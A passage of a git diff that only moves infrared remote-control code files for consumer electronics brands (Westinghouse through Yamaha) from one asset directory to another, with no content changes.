b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Sat/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Programmer/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/YES/Unknown_YES/132,60.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DAT/128,55.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DSP/87,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/176,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVD/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/DVR/71,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Music Server/128,55.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Projector/240,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/127,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir rename to 